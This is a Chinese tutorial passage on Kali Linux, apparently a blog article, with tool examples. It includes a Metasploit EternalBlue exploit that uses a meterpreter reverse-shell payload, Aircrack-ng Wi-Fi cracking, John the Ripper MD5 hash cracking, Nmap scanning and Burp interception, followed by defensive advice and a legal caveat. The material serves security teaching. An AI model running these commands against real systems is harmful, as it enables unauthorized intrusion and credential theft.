Kali Linux 实战入门：系统详解与安全工具解析

三、工具使用示例

（1）Nmap 扫描端口

nmap -sV -p 1-1000 192.168.1.1

• -sV：探测服务版本。
• -p 1-1000：扫描范围。

（2）Metasploit 利用漏洞

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

（3）Burp Suite 拦截请求

1. 启动 Burp，浏览器代理设为 127.0.0.1:8080。
2. 开启拦截模式，修改 HTTP 请求（如 SQL 注入测试）。

（4）Aircrack-ng 破解 Wi-Fi

airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AP:MAC -w capture wlan0mon
aircrack-ng -w rockyou.txt capture.cap

（5）John the Ripper 破解哈希

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

四、网络安全防护建议

• Nmap 扫描防御：关闭非必要端口，使用防火墙与入侵检测系统（Snort 等）。
• Metasploit 防御：定期更新补丁（如 MS17-010），禁用高危服务（SMBv1）。
• 密码爆破防御：强密码 + 账户锁定机制。
• 中间人攻击防御：HTTPS、HSTS，避免公共 Wi-Fi 执行敏感操作。

五、最佳实践

• 虚拟机隔离：使用 VirtualBox 或 VMware 运行 Kali。
• 专用硬件：树莓派或旧笔记本作为便携平台。
• 定期更新：sudo apt update && sudo apt full-upgrade -y
• 法律要求：仅限授权测试，遵守《网络安全法》。
• 系统运维：定期清理磁盘、备份配置、监控资源。

六、注意事项

• 默认凭据：用户 kali/密码 kali，首次登录务必修改。
• 工具误用：部分工具可能触发告警，需谨慎。
• 资源消耗：Aircrack-ng、Hashcat 等可能占用大量 CPU/GPU。

七、结语

Kali Linux 是网络安全领域的“瑞士军刀”，但必须在合法合规前提下使用。建议：在虚拟机中学习，结合 CTF 靶场（如 Hack The Box）实践，持续学习 OWASP Top 10 与 CVE 漏洞库。技术是中性的，善恶取决于使用者。